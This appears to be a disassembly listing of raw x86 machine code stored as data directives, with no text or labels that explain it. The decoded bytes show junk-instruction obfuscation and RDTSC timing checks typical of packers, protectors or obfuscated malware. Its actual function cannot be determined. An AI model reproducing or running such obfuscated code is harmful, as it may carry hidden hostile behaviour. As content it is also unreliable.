		dd 0BDBB6607h, 71E46129h, 0F613CFCh, 0B983h, 14E38000h
		dd 8BC8B60Fh, 0E9001D9Dh, 6BA07h, 85890000h, 7E918A9h
		dd 0E8C1C18Bh, 66DD8A04h, 0C82BE2F7h, 1D3AF4BBh, 1D18B30h
		dd 0E91CED9Dh, 11E907h,	0CE90000h, 9C000000h, 829ED717h
		dd 0B4ADC9AEh, 8BC29B5Ch, 0E9211985h, 18B0F07h,	0F8000000h
		dd 907C083h, 0E9157D95h, 0C08307h, 2EE59D89h, 0D03B07E9h
		dd 10830Fh, 9D890000h, 7E91B81h, 41E9h,	8749BB00h, 8D8B7D39h
		dd 7E9181Dh, 0F010BF66h, 0E1839EB7h, 27840F01h,	66000000h
		dd 838A82BFh, 0E9181DA5h, 850FFE07h, 1,	199589F5h, 0F07E921h
		dd 80h,	0BBBB6600h, 0E9CDh, 0B58D0000h,	7ED08D4h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0B5C35242h, 0D4622899h
		dd 8B006AAEh, 0E923759Dh, 3195FF07h, 6A07E90Ch,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 25F9C355h, 4DBF934Fh, 0B91AA645h, 8FCh, 83D88B66h, 6AFCE1h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 9F1E68C3h, 334DE5F5h, 26399D2Bh, 9D8B07E9h, 7E916B9h
		dd 0E59D23FCh, 2B07E90Ch, 57006AC0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0B292F890h
		dd 0F572DE7h, 2B5FDAB7h, 56006AD2h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 8D0408C7h, 19719D89h
		dd 33AD07E9h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0AB09FEC3h
		dd 0A71414D3h, 0F98B66C6h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 37C35141h, 0C16E83EEh, 198D0FD2h, 0E9000000h
		dd 14h,	0D78D3907h, 9F331EB4h, 0BE602FB0h, 0A878C801h
		dd 0AFEE6B2Dh, 880Dh, 9EEB8100h, 8B473F9Ch, 0E9320D95h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 46032DB0h, 8F0FC2C0h, 3,	60D9F780h, 198531F8h
		dd 6107E932h, 22E58D8Bh, 6A07E9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 70DE3CC3h, 371E904Dh
		dd 419D0B4Dh, 5007E90Fh, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 4FBCBB4Ah, 958935C0h, 7E919DDh, 1C2DBD83h
		dd 0F0007E9h, 6384h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0BD8957B6h, 7E92B81h
		dd 2B4FEF81h, 0B80D20h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0A7EAC353h
		dd 9D8B264Ch, 7E91F79h,	4D5A8D8Dh, 0FB8B07E9h, 0B529E1FFh
		dd 7E923A1h, 22B1BD83h,	0F0007E9h, 43684h, 0EE900h, 0B05B0000h
		dd 6CD09A2Bh, 65386C8Dh, 23B90261h, 22B1BD83h, 0F0107E9h
		dd 43184h, 4DFFBB00h, 0BD830DF6h, 7E922B1h, 0E9860F03h
		dd 60000003h, 8F0Fh, 85290000h,	7E91F19h, 6A6061h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 3E61C9C3h, 50DC7141h, 0D01BD8Bh, 8C6607E9h, 52006AD9h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0F5D12FAh, 0E180FBB7h, 57006A04h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0AF0DB892h
		dd 1DC8AD4h, 0E92FA185h, 95BD8B07h, 0A07E916h, 1A840FC9h
		dd 0F000001h, 0CCBFFAB7h, 8B0673DAh, 0E90C5585h, 11E907h
		dd 8260000h, 0B3E0713Dh, 498E568Fh, 0BC435CFCh,	33E32B37h
		dd 0E91CE985h, 0BBCF8107h, 506BA687h, 0DE8h, 0EF6CCA00h
		dd 7A780AF2h, 67A72B5Bh, 895F391Bh, 6A2404h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BF0F73C3h
		dd 6A006AFFh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0BAD1C357h, 8B6632A1h,	8166F8D9h
		dd 68C12FF3h, 8CD6059Ch, 63240481h, 6A7348FEh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0AF6AC355h, 0F32DE06Bh, 0D995FF83h, 6A07E902h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0D334C353h, 0D781D14Fh, 44D8F895h, 0D7858589h, 0E9F807ECh
		dd 1BEh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	0ABC35242h, 0D3883301h,	528BE543h, 7D858BACh, 8907ECD7h
		dd 0E91CBD9Dh, 0C7D98B07h, 1800h, 12E900h, 94F00000h, 2EF86C4Dh
		dd 46780610h, 0C9A41EBFh, 5D0D268Bh, 0D781B58Bh, 6A07ECh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 1B1F9BC3h, 0F8779671h, 1859858Bh, 0C78107E9h, 78199FBDh
		dd 9E90689h, 9E000000h,	18B8D7E1h, 0BD797CD5h, 0E1AFBF66h
		dd 0C55858Bh, 0FA8B07E9h, 6A044689h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0EC9FC353h
		dd 8E960h, 55BF0000h, 4F525438h, 0DE8F386h, 67000000h
		dd 0EFE05D82h, 199376E6h, 0ABC20CFCh, 0EAF08166h, 9615A38h
		dd 0E921A9BDh, 0BF665007h, 34892FBDh, 0DBCF8024h, 0D77DB5FFh
		dd 6A07ECh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 46431EC3h, 0FC70800h, 9D09DD8Dh, 7E9003Dh
		dd 97F50668h, 0F52501Bh, 2860F31h, 8B000000h, 81585AFEh
		dd 0F6F92434h, 9D231B88h, 7E917EDh, 0D785858Dh,	6A07ECh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 505037C3h, 0C4689A53h, 5E936h, 6D6C0000h
		dd 66B02520h, 50EB63BBh, 4893CB7h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 9DDD7668h
		dd 0CF886F59h, 0CF81666Ah, 95FF7689h, 7E902D9h,	533ADB81h
		dd 0BF664BE1h, 8B6188A6h, 0E90DDDBDh, 0B185C707h, 307E922h
		dd 0E8000000h, 0Fh, 0C350A0B0h,	74D74DC1h, 0F641BDE6h
		dd 66170E1Ah, 5B409EBBh, 0D785BD83h, 0F0007ECh,	6B84h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0FA8B6695h, 2F7DB501h, 5CE907E9h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0F40AC353h, 0F133383Ah, 198E0F48h, 0E8000000h
		dd 0Dh,	9E427F89h, 0FFAF3E07h, 0F4D25539h, 850F42h, 5F000000h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 51C08B00h
		dd 6A5FD98Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0A02C357h, 2971BFE8h, 0BD833A87h
		dd 7E922B1h, 55850F03h,	6A000004h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 4AD8C353h
		dd 1D1C5E4Eh, 0D785BD83h, 0F0007ECh, 42784h, 0D88B6600h
		dd 9F08060h, 11A5B589h,	0FF6107E9h, 0ECD785B5h,	68C0F07h
		dd 81000000h, 0A1389EFh, 4995FF0Fh, 6007E913h, 2A59531h
		dd 8B5307E9h, 0E90F01B5h, 8B615807h, 0ECD779B5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0CAC4FC91h, 0F7A5440h, 68Fh,	0D9BD8B00h, 0C707E91Ch
		dd 1000106h, 50006A00h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 0D3DA3F80h, 21B52995h, 9607E923h
		dd 2820F50h, 53000000h,	0DE9965Fh, 0B1000000h, 2670913Eh
		dd 6925EB94h, 43A7078Dh, 48F0Fh, 0BF660000h, 0B5FF78CAh
		dd 7ECD785h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	0FCC35141h, 0A34180ACh,	0FFDE8BF4h, 0E91AB195h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 8559637Bh, 8B5F5104h, 0ECD779B5h, 0ED9D8B07h
		dd 8B07E902h, 0E9244985h, 0C5DB8007h, 0C48689h,	870F0000h
		dd 5, 93060CBBh, 0D958B3Fh, 5307E932h, 0F5F5360h, 5F61D8B7h
		dd 0E904C283h, 13h, 80D0BEA1h, 0A4EBB585h, 2CE98044h, 1F2E012Ch
		dd 893346B4h, 6A2050h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 95B444C3h, 9589FE57h, 7E90E75h
		dd 7BDBD89h, 816607E9h,	8D986DCBh, 0ECECA185h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0B55F899h, 0BD33679Dh, 7E92E39h, 0B88689h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0B5299DC3h, 7E91B3Dh, 99D38153h, 5F527A68h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0A8724AC3h, 9A766FC7h, 153D9D8Bh, 0F8B307E9h, 0D785B5FFh
		dd 0B50107ECh, 7E91ACDh, 2CD95FFh, 6A07E9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0FE903C3h
		dd 8E000000h, 69995435h, 91572E89h, 0DA40906Fh,	0FC56B2FEh
		dd 0CE9505Fh, 0DC000000h, 0EE6D5AEEh, 0B63847B9h, 897E6914h
		dd 6A2434h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 66E79BC3h, 0FF61ADBBh, 0ECD785B5h, 0C7816607h
		dd 2FBBBD91h, 0FF18E065h, 0E9302D95h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 2E41457Fh, 8BCA2C5Fh, 0E921119Dh, 0DE907h, 0C3E70000h
		dd 0A55C5E0Eh, 8CFE8CE6h, 966FFF6h, 0E913C98Dh,	0C9BD8307h
		dd 7E91Eh, 25840Fh, 8BFC0000h, 0E925DD9Dh, 11E95007h, 90000000h
		dd 0AAC28527h, 0E02B42Bh, 43EB4A0Fh, 97990A3Dh,	66243489h
		dd 0FF487EBFh, 0ECD785B5h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0AAC7BDE4h
		dd 0CE82BBEh, 0A5000000h, 0E863BCAFh, 0FD5ADEC6h, 66B7AA46h
		dd 4639CF81h, 86BF665Bh, 9D95FF0Eh, 6607E91Fh, 0FFBE7CBBh
		dd 0ECD785B5h, 71B53107h, 8B07E91Ah, 0E9083DBDh, 3995FF07h
		dd 107E901h, 0E90E55B5h, 0CDBD8307h, 207E929h, 64840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 40E0A8C3h, 8B522E0Ah, 0E924A99Dh,	75858B07h
		dd 6A07E908h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0E57AC355h, 11235A5Ch,	0C66B2431h
		dd 0E8510000h, 6, 7C2AE219h, 61601844h,	85C75B5Bh, 7E924ADh
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 8DC35646h
		dd 0BD233A46h, 7E91965h, 0FFF319E9h, 0C18BFCFFh, 861858Dh
		dd 6A07E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0F09F73C3h, 319D5CB6h, 0E934DD85h, 60519007h
		dd 13E9C78Bh, 0A3000000h, 250583DBh, 75C2BE03h,	0C90BC1D9h
		dd 41F8B500h, 5B61A26Bh, 52506050h, 310FF48Ah, 8F0Fh, 585A0000h
		dd 8C49B853h, 615B2595h, 60006A90h, 890FCF8Bh, 6, 1FED9589h
		dd 6A6107E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 20698E36h, 11A38CC1h, 399D8960h
		dd 0F07E917h, 58Ch, 0D2816600h,	8D614504h, 0ED9E5385h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0E159774Bh, 24B9CDF8h, 5C083F3h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0CEC35747h, 0DF1934D9h
		dd 0BE890h, 892D0000h, 49DF13CAh, 6D289A93h, 505250C4h
		dd 5A310F52h, 0E8310F58h, 0Dh, 347129B9h, 0C4190BF1h, 3949E91h
		dd 585A5BDFh, 7E8505Fh,	52000000h, 87417C7Dh, 0BF661159h
		dd 905F4648h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Dh,	9C35040h, 0AEE8C76h, 45AC2F6Ch,	0B3D381D0h, 6A2016B0h
		dd 6AF900h, 55B58B60h, 6107E92Eh, 0FB995FFh, 6A07E9h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0CFD013C3h, 8B264E42h, 0E913619Dh, 2C8D8D07h, 6A07ECD7h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 6EBEC351h, 2B6CC696h, 4880Fh, 0BF660000h
		dd 0D1FF0927h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0B0C35040h, 18B6269h, 66FADC13h, 0EE8E5h, 5E700000h
		dd 2D72C18Eh, 538D7D7Dh, 0B4753F21h, 69BD835Fh,	107E91Bh
		dd 0AB850Fh, 0B5890000h, 7E91655h, 6A026Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0DE608FC3h
		dd 9FDAF4Ch, 89CE7228h,	0E91DA5BDh, 50529007h, 0AE852h
		dd 0CBF30000h, 3FCC0419h, 1B568236h, 0E9310F5Bh, 6, 0AABCA851h
		dd 585ACE45h, 8D0F505Fh, 0Ch, 0D98B5250h, 0BB66310Fh, 585A19A5h
		dd 48C0F90h, 66000000h,	0FFE290BBh, 0E902CD95h,	55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 1C3207A2h, 9AE9A691h, 0FDBD8B52h, 5B07E934h,	0BFCF8166h
		dd 0E06E957h, 0E80000h,	5D000000h, 9E5DED81h, 0BB6607EDh
		dd 6A6587h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0B79594C3h, 454F67DBh, 0AE96311h,	50000000h
		dd 4C546EEh, 0F85151E8h, 6858DDDh, 0E907ECB4h, 9, 0DF54A361h
		dd 1441EB00h, 516090D2h, 0E95FD98Bh, 0Ch, 687961CAh, 8C50A3BDh
		dd 38D76180h, 0DE85061h, 7E000000h, 74322FD2h, 0FA768FD3h
		dd 140ED998h, 5FFE8B66h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0CE4BA12h, 0B1AB5AAh
		dd 3035B589h, 816607E9h, 64FCFDF3h, 35FFh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 856B32C3h, 5F48674Eh, 2AF99D8Bh, 64F807E9h, 2589h, 6E90000h
		dd 0DE000000h, 2899B523h, 9D85FF62h, 8A07E90Fh,	0BBFF6ADDh
		dd 828135Bh, 2045B5FFh,	6A07E9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 9D8BF6C3h, 7E90A85h
		dd 26058D89h, 95FF07E9h, 7E9233Dh, 115E9h, 0CE900h, 73540000h
		dd 0E665174Ah, 0AFB5E1CCh, 0B0F8CCh, 29F9B589h,	70E607E9h
		dd 14FD9D8Bh, 71E407E9h, 0FA19529h, 7E907E9h, 0D6000000h
		dd 65CF097Ah, 613C01EEh, 0D8830Fh, 85090000h, 7E929E1h
		dd 0E9C8B60Fh, 0Bh, 0B0EED2B7h,	20D48C44h, 0BA6A1082h
		dd 6, 1F19D8Bh,	0C18B07E9h, 9E9h, 661D5B00h, 9D7D0D46h
		dd 0BD89D4B9h, 7E9313Dh, 8B04E8C1h, 0E92B819Dh,	0E2F76607h
		dd 850FC82Bh, 6, 1BB99D89h, 0D18B07E9h,	0C38166h, 3E983h
		dd 0E7800000h, 0F1858BDCh, 8107E91Dh, 409D5CEFh, 7C0832Ah
		dd 83DFBF0Fh, 0BE900C0h, 6D000000h, 0D80ED592h,	0EF843825h
		dd 0D03BDFBAh, 11830Fh,	9D230000h, 7E92065h, 3DE9h, 0F1952900h
		dd 8B07E902h, 0E911B98Dh, 83DF8B07h, 840F01E1h,	26h, 15F9BD23h
		dd 0A58307E9h, 7E911B9h, 8DBD8BFEh, 8907E92Ch, 0E91DF195h
		dd 8D295707h, 7E92031h,	0E95Bh,	0B58D0000h, 7ED1440h, 6AD88B66h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 66FA96CAh, 9D89FE8Bh, 7E934B5h, 0C3195FFh
		dd 6A07E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 91416C3h,	820F32D1h, 0Ch,	9FB86660h, 798529CAh
		dd 6107E908h, 774B9h, 0CE900h, 51810000h, 810B1948h, 0E51ECEDDh
		dd 0E18391F8h, 18DB81FCh, 0BF1C531Dh, 79AF073Bh, 56006AFCh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0C4B3C77Ch, 0B3EE2793h, 0F1BD0Bh, 958907E9h,	7E918BDh
		dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0D343015Bh, 0FD22B2Ch, 68Eh, 0ED852900h
		dd 0AD07E90Ch, 0E8D1C233h, 0E983D003h, 8BF47504h, 0E908659Dh
		dd 10E907h, 0B23D0000h,	38562198h, 66BA04DFh, 2C0CE625h
		dd 880D15E1h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 223DC351h, 50BE2170h
		dd 5E9E951h, 86000000h,	5D959ADEh, 23399D89h, 958B07E9h
		dd 7E9320Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	74C35141h, 318117F6h, 0F60C0B4h, 0B70FF8BFh, 0E58D8BFEh
		dd 6607E922h, 8B50D98Bh, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 14h,	65C35242h, 6E9h, 0A49C3600h, 6A21FFE7h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 7DD9C352h, 0EE92071h, 7A000000h, 0E2E81FB2h,	6DC55923h
		dd 3B39FD1Fh, 2DBD8354h, 7E91Ch, 0A2840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 6ABF6C3h, 6DF13E11h,	0BD8BE8B7h, 7E929A9h, 0B8h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0BE10B64Ch, 8D97E9BBh, 5A8D8D4Eh, 6A07E94Dh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 1278C355h, 0A400BBC3h, 0E1FF4EB4h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0A9C35242h,	702AFCBh, 418EDED2h
		dd 22B1BD83h, 0F0007E9h, 43184h, 0BD83F800h
		dd 7E922B1h, 3E840F01h,	51000004h, 0BD835FF5h, 7E922B1h
		dd 0F8860F03h, 6A000003h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0E139C356h,	1DC9BED8h
		dd 27B7925Ch, 1BC99D8Bh, 0CE807E9h, 1E000000h, 10620C9Ch
		dd 63B7AD8Ah, 0BF81D9B5h, 5CBB6C18h, 0BD8B605Fh, 7E923FDh
		dd 0BBD98C66h, 2E03C626h, 6A04E180h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0BFB1C353h
		dd 840FC90Ah, 199h, 55858BF5h, 6007E90Ch, 0AE9h, 0E8DBEA00h
		dd 8726B50Eh, 299BF124h, 0E91D418Dh, 85336107h,	7E91CE9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 3EC35040h
		dd 0AEE61765h, 0C8144765h, 0D88AFC95h, 0DF8B5090h, 56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0C32E7DE4h, 8A5BBB87h, 0D88AC086h, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 47F3BC3h, 0F77B6ADAh, 850915D6h, 7E92A5Dh, 0DE8h, 0B8D62000h
		dd 622B7811h, 9D46F645h, 8D89E7F4h, 7E90DCDh, 4E85Fh, 3FF0000h
		dd 0E2BF001Fh, 504A51E4h, 168D0Fh, 0AE80000h, 0BF000000h
		dd 81B0D197h, 0CC169214h, 8F0FB1h, 5F000000h, 424448Bh
		dd 840Fh, 8B0000h, 0CE8h, 0CF122C00h, 0F4731E74h, 2770186Dh
		dd 0DE8B6625h, 2444895Fh, 0AE86004h, 0E2000000h, 91C0AFEh
		dd 1B8E6C9h, 11E802h, 48FD0000h, 0E2659B55h, 958193BEh
		dd 0F8BAFE12h, 59F3327Ch, 0FD80B95Fh, 58612FAAh, 0F8FEBF0Fh
		dd 2D995FFh, 800F07E9h,	0
aIeeJ		db '‰……×ì',7,'j',0
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0E9FCA8C3h, 19Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 82C35646h, 2C1391B3h,	0D1F33B1Eh, 7D858BF4h
		dd 0E907ECD7h, 0Bh, 109FD304h, 8643DE21h, 0C7A6D7AFh, 1800h
		dd 0DA8B6600h, 0D781B58Bh, 6A07ECh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0E74BA0C3h
		dd 9B8424ECh, 31384AAAh, 0E901F185h, 59858B07h,	8B07E918h
		dd 0E9011DBDh, 89068907h, 0E902BD85h, 55858B07h, 6A07E90Ch
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0E05AC355h, 5C6137C2h, 860FD136h,	6, 1F61BD89h
		dd 468907E9h, 50D88B04h, 80243489h, 0B5FFE0CBh,	7ECD77Dh
		dd 0BE9h, 0CEAF4700h, 0B6773258h, 0E521F919h, 0D64D3B68h
		dd 429CBF7Ch, 34815853h, 0C94EC424h, 56006A7Ch,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 1A14C917h
		dd 0EE2BFD4h, 9D892B14h, 7E91AB5h, 0D785858Dh, 0BF6607ECh
		dd 50909624h, 310F5250h, 0DE9h,	358E4A00h, 89699954h, 6F91572Eh
		dd 585A4090h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0A2E62321h, 0D5BD121Ah, 8B66434Fh
		dd 0D995FFFEh, 6A07E902h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0F875C355h,	0E5E78153h
		dd 5F4B335Ah, 187D9D8Bh, 8B6107E9h, 0E91C45BDh,	0B185C707h
		dd 307E922h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 9D39C356h, 400F2DDh
		dd 83DFBF0Fh, 0ECD785BDh, 840F0007h, 2Fh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ch, 85C35646h, 53F76E41h
		dd 864DB613h, 21E9h, 6D852900h,	5007E925h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 0BD29C08Bh, 7E908E1h
		dd 83CADB80h, 0E922B1BDh, 850F0307h, 44Ah, 2A69B589h, 0BD8307E9h
		dd 7ECD785h, 37840F00h,	89000004h, 0E92B51BDh, 85B5FF07h
		dd 8107ECD7h, 65D0ECEFh, 4995FF0Ah, 6A07E913h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0E7B3C355h, 8E904h, 0AA560000h, 7A9895E7h, 0B58B677Bh
		dd 7ECD779h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	4FC35242h, 106C733h, 6A000100h,	3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 7D7CC352h
		dd 46B5AEF6h, 0D3813112h, 2008A77Fh, 2D499D8Bh,	665007E9h
		dd 3489FB8Bh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 79154909h, 3DC8AC04h, 85B5FFB1h
		dd 6A07ECD7h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 215FC355h, 0C5503293h,	95FF8AAEh
		dd 7E91AB1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	4BC35646h, 0E9FBF09Ah, 7, 9537D659h, 8B4A6968h
		dd 0ECD779B5h, 5E807h, 896F0000h, 60B615E4h, 13918589h
		dd 0B52B07E9h, 7E90B81h, 858B5B61h, 7E92449h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0E6C35747h, 91559EE0h
		dd 10915EDDh, 0C48689C3h, 0E9000000h, 8, 0EB4C5AD7h, 875C60DDh
		dd 8B33F780h, 0E9320D95h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 2C10B401h
		dd 27E78065h, 8904C283h, 0E909E585h, 20508907h,	58D89h
		dd 0B58907E9h, 7E9011Dh, 0ECA1858Dh, 6A07ECh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 8FE2DCC3h
		dd 8B3446AFh, 0E919D59Dh, 719D8B07h, 8907E92Ch,	0B886h
		dd 1CBF6600h, 1006A10h,	0E92631B5h, 85B5FF07h, 0F07ECD7h
		dd 82h,	0CD95FF00h, 6A07E902h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 9606C355h, 50FE8B66h
		dd 8C0Fh, 6A960000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 927EC353h, 7D83D3C8h, 0DE963h
		dd 0FAF80000h, 0F5960F8Ah, 5DDF4726h, 0FF0D107Bh, 0ECD785B5h
		dd 178A0F07h, 0E8000000h, 5, 5785AA7Ch,	7E9AEh,	222F0000h
		dd 0C6CF94BAh, 95FF5F9Bh, 7E9302Dh, 2B659D8Bh, 0BD8307E9h
		dd 7E91EC9h, 6C840F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 9E1FC350h
		dd 0FDF6CDAh, 0E950DEBFh, 7, 41FBEB6h, 89060F7Ah, 6A2434h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0D85601C3h, 14E9269Dh, 26000000h, 1405D029h,	94042176h
